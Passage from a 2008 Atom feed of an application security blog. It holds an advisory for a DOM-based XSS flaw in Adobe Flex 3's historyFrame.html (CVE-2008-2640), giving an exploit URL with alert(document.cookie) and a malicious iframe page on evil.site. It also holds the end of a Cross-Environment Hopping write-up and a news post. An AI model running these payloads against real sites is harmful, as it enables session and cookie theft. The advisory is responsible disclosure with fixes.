visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;for&lt;/span&gt; (i=0;i&amp;lt;len;i++)&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    {&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;        resp += String.fromCharCode(buf1[i])&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    }&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    alert(resp);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;gt;&amp;gt; &lt;strong&gt;Cross Environment Hopping vs. DNS Rebinding:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is worth mentioning that while the outcome of a CEH attack is somewhat similar to that of a DNS Rebinding attack, the techniques themselves are very different. While DNS Rebinding bypasses the same origin policy to achieve its goal, Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack. 
&lt;p&gt;As the security industry is continuously trying to fight against DNS Rebinding (and partially succeed. see DNS Rebinding security updates in &lt;a href="http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html#goal_dns"&gt;Flash&lt;/a&gt; and &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-26-103078-1"&gt;Sun's JVM&lt;/a&gt;), CEH attacks are more relevant than ever.
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Recommendations:&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;For browser and plug-in software providers:&lt;/b&gt;&lt;br&gt;As presented in this write-up, communication between different ports in the context of Localhost can lead to devastating results. Therefore, we believe that crossing ports on the Localhost should be restricted and bound to explicit user consent. 
&lt;li&gt;&lt;b&gt;For the client:&lt;/b&gt;&lt;br&gt;The client should be very wary of installing software that runs a local web server. This write-up has shown that the restrictions in place on the local computer are not sufficient to prevent environment hopping from a vulnerable web application to other applications (not only web applications) that are running as a server. 
&lt;li&gt;&lt;b&gt;For web application developers:&lt;br&gt;&lt;/b&gt;Web application security is paramount when building web applications that run in the context of a local web server. This write-up has shown that a single, simple XSS vulnerability can be exploited to gain access not only to the local web application, but to other applications and programs that are running the local machine. The responsibility involved in building such applications should be considered carefully. 
&lt;li&gt;&lt;b&gt;For the anti-virus and local firewall software vendors&lt;br&gt;&lt;/b&gt;Anti-virus and local firewall software vendors should consider solutions that prevent socket and HTTP connections between web applications and different ports on the local computer.&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Conclusion:&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cross-Environment Hopping can lead to the compromise of many different applications and expose some operating system features. The technique is relevant to any machine that runs a local web server. 
&lt;p&gt;When a machine runs a web server on more than one port, it is possible to exploit a vulnerability in one web application that leads to the compromise of a web application running on a different port entirely. 
&lt;p&gt;When a web server is co-hosted with other server types, the potential for exposure is dramatically increased. A vulnerability in a local web application could serve as a hopping point to open direct socket connection and exploitation of the other servers.
&lt;p&gt;&lt;b&gt;&lt;i&gt;The research conducted so far is only a start, but highlights the dangerous potential of the technique.&lt;/i&gt;&lt;/b&gt;&amp;nbsp; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Acknowledgements:&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;This research was performed by Yair Amit with additional help from Adi Sharabani, Danny Allan &amp;amp; Ory Segal. 
&lt;p&gt;&amp;nbsp; &lt;p&gt;&amp;nbsp; &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=YbcKhI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=YbcKhI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=XHEbvI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=XHEbvI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=GI7mUi"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=GI7mUi" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/317989841" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>JavaScript Code Flow Manipulation, and a real world example advisory - Adobe Flex 3 Dom-Based XSS</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/06/javascript-code.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/06/javascript-code.html" thr:count="3" thr:updated="2008-07-08T11:41:03+03:00" />
        <id>tag:typepad.com,2003:post-51477038</id>
        <published>2008-06-17T23:59:50+03:00</published>
        <updated>2008-06-18T10:05:37+03:00</updated>
        <summary>We recently researched an interesting DOM-based XSS vulnerability in Adobe Flex 3 applications that exploits a scenario in which two frames (parent &amp; son) interact with each other, without properly validating their execution environment. In our research, we have seen...</summary>
        <author>
            <name>Ory Segal</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        <category scheme="http://www.sixapart.com/ns/types#category" term="Web Application Security" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;We recently researched an interesting DOM-based XSS vulnerability in Adobe Flex 3 applications that exploits a scenario in which two frames (parent &amp;amp; son) interact with each other, without properly validating their execution environment.  &lt;p&gt;In our research, we have seen that in some cases, it is possible to manipulate JavaScript code flow, by controlling the environment in which it runs. Specifically, we managed to return hacker-controlled boolean values to conditional statements, and by that force the application to be vulnerable to an existing DOM-based XSS, which was otherwise unexploitable.  &lt;p&gt;The advisory presented herein, is a real world example of the research mentioned above, and contains two XSS variants. The &lt;strong&gt;second&lt;/strong&gt; of which&lt;strong&gt;,&lt;/strong&gt; makes use of the JavaScript Flow Manipulation technique.  &lt;p&gt;# # #&amp;nbsp; Begin Advisory # # #  &lt;p&gt;This advisory describes a new security vulnerability found in auto-generated code created by Adobe Flex 3 (Builder &amp;amp; SDK) that uses the default &lt;strong&gt;HistoryManager&lt;/strong&gt; or &lt;strong&gt;Deep Linking&lt;/strong&gt; support.&amp;nbsp; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Attack Variant #1: DOM Based Cross-Site Scripting&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The following text, which describes the HistoryManager and Deep Linking support in Adobe Flex, was taken from the official Adobe documentation:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;"The Flex History Manager lets users navigate through a Flex application by using the web browser's back and forward navigation commands. For example, a user can navigate through several Accordion container panes in a Flex application, and then click the browser's Back button to return the application to its previous states.  &lt;p&gt;The HistoryManager class provides a subset of functionality that is provided by the BrowserManager class and deep linking. In general, you should use the BrowserManager class and deep linking for maintaining state in an application and manipulating URLs and browser history, but the HistoryManager class can be useful under some circumstances, such as if you are maintaining a Flex 2.x application. For more information about deep linking and the BrowserManager class, see About deep linking.  &lt;p&gt;History management is implemented as a set of files that are referenced in the application's wrapper. By default, Adobe Flex Builder generates a wrapper that supports history management, but you can disable it. When you deploy an application that uses the HistoryManager, you must also deploy the history management files such as history.css, history.js, and historyFrame.html. These are the same files that are used by the BrowserManager for deep linking support. For more information, see Deploying applications that use deep linking."&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;The following code was taken from the historyFrame.html: &lt;/p&gt; &lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;...&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;function&lt;/span&gt; processUrl() &lt;/pre&gt;&lt;pre&gt; {&lt;/pre&gt;&lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;var&lt;/span&gt; pos = url.indexOf(&lt;span class="str"&gt;"?"&lt;/span&gt;);&lt;/pre&gt;&lt;pre&gt;            url = pos != -1 ? url.substr(pos + 1) : &lt;span class="str"&gt;""&lt;/span&gt;;&lt;/pre&gt;&lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!parent._ie_firstload) {&lt;/pre&gt;&lt;pre&gt;                parent.BrowserHistory.setBrowserURL(url);&lt;/pre&gt;&lt;pre class="alt"&gt;                &lt;span class="kwrd"&gt;try&lt;/span&gt; {&lt;/pre&gt;&lt;pre&gt;                    parent.BrowserHistory.browserURLChange(url);&lt;/pre&gt;&lt;pre class="alt"&gt;                } &lt;span class="kwrd"&gt;catch&lt;/span&gt;(e) { }&lt;/pre&gt;&lt;pre&gt;            } &lt;span class="kwrd"&gt;else&lt;/span&gt; {&lt;/pre&gt;&lt;pre class="alt"&gt;                parent._ie_firstload = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;/pre&gt;&lt;pre&gt;            }&lt;/pre&gt;&lt;pre class="alt"&gt; }&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; url = document.location.href;&lt;/pre&gt;&lt;pre&gt;processUrl();&lt;/pre&gt;&lt;pre class="alt"&gt;document.write(url); &lt;/pre&gt;&lt;pre&gt;...&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
	width: 100%;
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;
&lt;/p&gt;
&lt;p&gt;As can be seen from the code above, the &lt;font face="Courier New"&gt;url &lt;/font&gt;variable, holds the &lt;font face="Courier New"&gt;document.location.href&lt;/font&gt; string, and is later on written to the HTML document. So, in order for the XSS attack to work, the malicious payload should be injected into the URL. Here's an exploit URL: 
&lt;p&gt;&lt;a href="http://www.some.site/flex_html_wrapper.html#&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script"&gt;http://www.some.site/flex_html_wrapper.html#&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&lt;/a&gt;&amp;gt; 
&lt;p&gt;&lt;strong&gt;Note 1&lt;/strong&gt;: due to how Flex HistoryManager is implemented, the above exploit URL will only work on Microsoft Internet Explorer 
&lt;p&gt;&lt;strong&gt;Note 2&lt;/strong&gt;: in the example above, the file /flex_html_wrapper.html is the HTML wrapper file of the Flex SWF 
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Attack Variant #2: DOM Based XSS Using JavaScript Flow Manipulation &lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;From a quick research into how Flex 3 applications support deep linking ("browser navigation integration"), we have noticed that the attack we described above, will only work if the developer explicitly makes use of either &lt;strong&gt;HistoryManager&lt;/strong&gt; or &lt;strong&gt;BrowserManager&lt;/strong&gt; classes. In such case, the application will use the vulnerable code presented above (i.e. it will load the vulnerable file &lt;strong&gt;/history/historyFrame.html&lt;/strong&gt; into the browser). &lt;/p&gt;
&lt;p&gt;This fact limits our attack vector to sites that were designed to &lt;u&gt;actively&lt;/u&gt; use history management / deep linking (&lt;strong&gt;note&lt;/strong&gt;: all applications that were compiled with "enable integration with browser navigation" ship with the vulnerable file, but they &lt;u&gt;don't load it&lt;/u&gt; into the browser unless the above objects are used in the code).&lt;/p&gt;
&lt;p&gt;When we looked at the JavaScript code in &lt;strong&gt;/history/historyFrame.html&lt;/strong&gt;, we saw that calling it directly in order to mount the DOM-based XSS attack (against all Flex 3 sites that include that file) will not work. This is because the JavaScript first calls the function &lt;font size="2"&gt;&lt;font face="Courier New"&gt;processUrl &lt;/font&gt;&lt;/font&gt;before performing the vulnerable &lt;strong&gt;&lt;font face="Courier New" size="2"&gt;document.write(url)&lt;/font&gt;&lt;/strong&gt; 
&lt;p&gt;The function &lt;font face="Courier New" size="2"&gt;processUrl&lt;/font&gt;, contains the following lines of code: &lt;/p&gt;
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&lt;p&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; (!parent._ie_firstload) { &lt;/p&gt;&lt;p&gt;     parent.BrowserHistory.setBrowserURL(url);&lt;/p&gt;&lt;p&gt;...&lt;/p&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When there is no parent document (or if the parent document does not contain the object &lt;font face="Courier New" size="2"&gt;_ie_firstload&lt;/font&gt;),&amp;nbsp; the condition inside the parenthesis is evaluated to TRUE. This in turn, causes the line:&lt;/p&gt;
&lt;p&gt;&lt;font face="Courier New" size="2"&gt;parent.BrowserHistory.setBrowserURL(url);&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;to get executed, resulting in a runtime exception, since no such objects and methods actually exist (there is no parent document). At this point,&amp;nbsp; the attack will fail.&lt;/p&gt;
&lt;p&gt;In order to bypass this obstacle, we have created a (malicious) parent document, which includes an IFrame whose source is the vulnerable HTML page /&lt;strong&gt;history/historyFrame.html&lt;/strong&gt;. In addition, we have added another IFrame (called &lt;font face="Courier New" size="2"&gt;_ie_firstload&lt;/font&gt;), whose role will be explained below.&lt;/p&gt;
&lt;p&gt;The malicious HTML page looks like this (line wrapped):&amp;nbsp; &lt;/p&gt;
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&lt;span class="rem"&gt;&amp;lt;!-- HTML source of page, hosted on http://www.evil.site/ --&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="alt"&gt; &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;body&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;  &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;iframe&lt;/span&gt; &lt;span class="attr"&gt;name&lt;/span&gt;&lt;span class="kwrd"&gt;="_ie_firstload"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;iframe&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="alt"&gt;  &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;iframe&lt;/span&gt; &lt;span class="attr"&gt;src&lt;/span&gt;=&lt;span class="kwrd"&gt;"http://www.vuln.site/app/history/historyFrame.html?&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="kwrd"&gt;#&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;"&amp;gt;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;iframe&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="alt"&gt; &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kwrd"&gt;/&lt;/span&gt;&lt;span class="html"&gt;body&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;

&lt;p&gt;Upon visiting this malicious page, which is hosted on &lt;a href="http://www.evil.site/"&gt;http://www.evil.site/&lt;/a&gt; the victim's browser issues a request to the vulnerable Flex application that is hosted on &lt;a href="http://www.vuln.site/"&gt;http://www.vuln.site/&lt;/a&gt;. The request exploits the DOM-based XSS vulnerability that was mentioned in the first section (variant #1). &lt;/p&gt;
&lt;p&gt;Here's a quick explanation of the attack: 
&lt;ol&gt;
&lt;li&gt;The JavaScript code that is executed in &lt;strong&gt;/history/historyFrame.html &lt;/strong&gt;(see JS code in the previous section), looks at the Boolean value that &lt;font face="Courier New" size="2"&gt;parent._ie_firstload&lt;/font&gt; returns. 
&lt;li&gt;Since our malicious parent document actually includes a child node with the same name (a bogus IFrame element that we named "_ie_firstload"), the script flow is manipulated. (we do not enter the first block of the IF statement) 
&lt;li&gt;The JavaScript code that was just manipulated goes ahead to the ELSE statement 
&lt;li&gt;The function &lt;font face="Courier New" size="2"&gt;processUrl&lt;/font&gt; exits cleanly, and our DOM-based XSS attack succeeds.&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Pay attention to #2&lt;/strong&gt; - the child IFrame was expecting its parent to return TRUE or FALSE depending on the existence of a JavaScript object (_ie_firstload), but since we controlled the parent's DOM, we have substituted the JavaScript object, with an IFrame. The IFrame's existence in the parent DOM allows us to fool the child IFrame into believing that such object exists.&lt;/p&gt;
&lt;p&gt;We have decided to use an IFrame instead of a regular JavaScript object, since the browser's same origin policy will not allow the child IFrame to access JavaScript objects originating from a different domain (&lt;a href="http://www.evil.site"&gt;www.evil.site&lt;/a&gt;). &lt;strong&gt;Nevertheless, the browser will allow the child IFrame to traverse the parent's IFrame structure. &lt;/strong&gt;In our case, the JavaScript code flow manipulation technique was relying on this browser behavior.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To sum things up, all a hacker needs to do in order to exploit this vulnerability, is host a malicious HTML page as shown above, which points to a Flex application that includes the file &lt;strong&gt;/history/historyFrame.html. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This file exists by default in all Adobe Flex 3 applications that were created either by Flex 3 Builder or the Flex 3 SDK (regardless if the developer chose to use HistoryManager or BrowserManager)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Impact&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First and foremost, this vulnerability is extremely severe, since every Flex web application that is developed using Flex Builder 3 or the Flex 3 SDK (see the next paragraph), includes the file &lt;strong&gt;/history/historyFrame.html&lt;/strong&gt; (this file exists by default), and thus is vulnerable to DOM-based XSS. 
&lt;p&gt;In order for the vulnerable files to be included in the Flex application, the developer has to enable "integration with browser navigation". This option is &lt;b&gt;enabled by default&lt;/b&gt;, and can be configured from the project properties. 
&lt;p&gt;The most severe impact of the vulnerability described in this document is achieving a successful DOM based cross-site scripting attack. If an application is vulnerable to attacks of this type, a remote attacker can execute a malicious script in the context of the victim's browser which can access cookies, session tokens and other sensitive data kept by the browser for the vulnerable web application. 
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Fix Recommendations:&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;The following fix recommendations are taken from the &lt;a href="http://www.adobe.com/go/apsb08-14" target="_blank"&gt;Adobe security bulletin&lt;/a&gt;: 
&lt;blockquote&gt;
&lt;p&gt;Adobe recommends all Flex 3 developers who have enabled History Management update applications created with Flex 3 and their Flex 3 product installations with the following instructions:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flex 3 users (both Flex 3 SDK and Flex Builder 3) should update their product installations with the &lt;a href="http://opensource.adobe.com/wiki/display/flexsdk/Download+Flex+3" target="_blank"&gt;Flex 3.0.2 SDK update&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="left"&gt;Flex 3 users who have enabled History Management in their currently deployed Flex 3 web applications should update all instances of the &lt;strong&gt;historyFrame.html&lt;/strong&gt; file with the &lt;a href="http://www.adobe.com/support/security/bulletins/downloads/historyFrame.zip" target="_blank"&gt;updated file&lt;/a&gt;. The three instances of historyFrame.html in the Flex 3 SDK installation can be found in the following locations:&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;ul&gt;
&lt;p align="left"&gt;{install root}/templates/html-templates/client-side-detection-with-history/history/historyFrame.html&lt;/p&gt;
&lt;p align="left"&gt;{install root}/templates/html-templates/express-installation-with-history/history/historyFrame.html&lt;/p&gt;
&lt;p align="left"&gt;{install root}/templates/html-templates/no-player-detection-with-history/history/historyFrame.html&lt;/p&gt;&lt;/ul&gt;
&lt;p align="left"&gt;&amp;nbsp;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Acknowledgements:&lt;/u&gt;&lt;/strong&gt; 
&lt;ul&gt;
&lt;li&gt;We would like to commend Adobe for their quick response and the efficient way in which they handled this security issue. We wish that other vendors would be as responsible as Adobe for the protection of their customers. 
&lt;li&gt;This research was performed by the following IBM Rational Application Security Group Members: Ory Segal &amp;amp; Adi Sharabani, with the help of Ayal Yogev.
&lt;li&gt;Special thanks goes to Amit Klein for his technical review and useful comments. &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;CVE ID:&lt;/u&gt;&lt;/strong&gt; CVE-2008-2640 
&lt;p&gt;# # # End Advisory # # # 
&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=3jRajI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=3jRajI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=A1c0bI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=A1c0bI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=TlR5Ji"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=TlR5Ji" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/314079856" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Periodic Blurbs</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/05/periodic-blurbs.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/05/periodic-blurbs.html" thr:count="0" />
        <id>tag:typepad.com,2003:post-49695708</id>
        <published>2008-05-11T12:32:02+03:00</published>
        <updated>2008-05-11T12:36:06+03:00</updated>
        <summary>Hi There, Just wanted to leave you all a quick note that we haven't forgotten how to blog :-) we've been busy over our heads with migrating things to IBM (called Blue-Washing around here), developing new version of AppScan (as...</summary>
        <author>
            <name>Ory Segal</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Books" />
        <category scheme="http://www.sixapart.com/ns/types#category" term="Info Bits" />
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        <category scheme="http://www.sixapart.com/ns/types#category" term="Web Application Security" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;Hi There,&lt;/p&gt; &lt;p&gt;Just wanted to leave you all a quick note that we haven't forgotten how to blog :-) we've been busy over our heads with migrating things to IBM (called Blue-Washing around here), developing new version of AppScan (as always, we have to stay ahead of the pack), and researching new and interesting security vulnerabilities. In the meantime, here's a quick list of anecdotes to keep you busy - &lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2008_-_Belgium" target="_blank"&gt;OWASP AppSec Europe 2008&lt;/a&gt; &lt;/strong&gt;is right around the corner. I strongly recommend attending this conference, as it looks like the agenda is packed with great presentations. The conference will take place in Ghent, Belgium, which means that good beer won't be a problem. If you haven't registered yet, I suggest you do so, and prepare to work hard in locating a hotel in the vicinity. Every single hotel is booked solid, and you might need to make some compromises. In addition, I am currently planned to be on the panel at the end of the first day ("The PCI 6.6 dogfight - to Scan or to WAF, this is the question") - I wouldn't miss a chance to voice my opinions&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href="http://www.adobe.com/products/flex/" target="_blank"&gt;Adobe Flash/Flex&lt;/a&gt; security&lt;/strong&gt;- we have been researching Flex and Flash security a lot lately as a part of our continuous effort to stay ahead of the technology. RIA security is the next big thing, and the green pastures of security vulnerabilities are awaiting. Rest assured that readers of this blog will be the first to read about our research, and some of it will also be presented at the OWASP AppSec conference in NYC later this year&lt;/li&gt; &lt;li&gt;IBM &lt;strong&gt;&lt;a href="http://www-306.ibm.com/software/rational/events/rsdc2008/" target="_blank"&gt;Rational Software Development Conference&lt;/a&gt;&lt;/strong&gt; (RSDC) 2008 is coming up (June 1-5, 2008). This year's conference will host a full track on &lt;a href="https://1bosweb3.experient-inc.com/Events/Rational/RSDC2008/Agenda/agenda_by_track.cfm?track=AS" target="_blank"&gt;Application Security &amp;amp; Compliance&lt;/a&gt; (click to view agenda), and will include some great presentations in our field. I am also going to be there, and will give a session on Web 2.0 security (AS09). In addition, William Shatner is one of the keynote speakers - are you seriously going to miss Captain Kirk talking about software development?&lt;/li&gt; &lt;li&gt;&lt;strong&gt;"&lt;/strong&gt;&lt;a href="http://portal.spidynamics.com/blogs/rafal/archive/2008/05/06/Static-Code-Analysis-Failures.aspx" target="_blank"&gt;&lt;strong&gt;Static code analysis is inherently doomed to fail&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;" - &lt;/strong&gt;at least that's what the author of &lt;a href="http://portal.spidynamics.com/blogs/rafal/" target="_blank"&gt;this blog&lt;/a&gt; thinks. Well, I beg to differ, and for every reason mentioned in the above post, there's a reasonable solution or a workaround. In addition, I can't help but say - that's what happens when your scanner GREPs for security vulnerabilities ;-) ouch, don't take it 